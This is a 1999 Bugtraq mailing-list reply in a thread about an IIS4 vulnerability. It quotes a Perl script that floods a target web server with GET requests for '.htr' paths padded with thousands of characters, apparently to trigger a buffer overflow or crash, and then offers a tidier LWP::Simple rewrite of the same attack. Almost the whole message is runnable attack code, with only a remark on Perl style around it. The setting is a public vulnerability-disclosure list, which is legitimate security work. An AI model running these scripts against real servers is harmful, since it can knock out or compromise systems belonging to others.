[10828] in bugtraq
Re: Retina vs. IIS4, Round 2, KO
daemon@ATHENA.MIT.EDU (Randal L. Schwartz)
Tue Jun 15 20:10:31 1999
Message-Id: <m1909ldnhv.fsf@halfdome.holdit.com>
Date: Tue, 15 Jun 1999 16:59:08 -0700
Reply-To: "Randal L. Schwartz" <merlyn@STONEHENGE.COM>
From: "Randal L. Schwartz" <merlyn@STONEHENGE.COM>
X-To: Ryan R Permeh <rrpermeh@RCONNECT.COM>
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: Ryan R Permeh's message of "Tue, 15 Jun 1999 17:01:23 -0500"
>>>>> "Ryan" == Ryan R Permeh <rrpermeh@RCONNECT.COM> writes:
Ryan> #!/usr/bin/perl
Ryan> #props to the absu crew
Ryan> use Net::Telnet;
Ryan> for ($i=2500;$i<3500;$i++)
Ryan> {
Ryan> $obj=Net::Telnet->new( Host => "$ARGV[0]",Port => 80);
Ryan> my $cmd = "GET /". 'A' x $i . ".htr HTTP/1.0\n";
Ryan> print "$cmd\n";$obj->print("$cmd");
Ryan> $obj->close;
Ryan> }
It's silly to use Net::Telnet for HTTP:
use LWP::Simple;
for ($i = 2500; $i <= 3500; $i++) {
warn "$i\n";
get "http://$ARGV[0]/".('a' x $i).".htr";
}
--
Name: Randal L. Schwartz / Stonehenge Consulting Services (503)777-0095
Keywords: Perl training, UNIX[tm] consulting, video production, skiing, flying
Email: <merlyn@stonehenge.com> Snail: (Call) PGP-Key: (finger merlyn@teleport.com)
Web: <A HREF="http://www.stonehenge.com/merlyn/">My Home Page!</A>
Quote: "I'm telling you, if I could have five lines in my .sig, I would!" -- me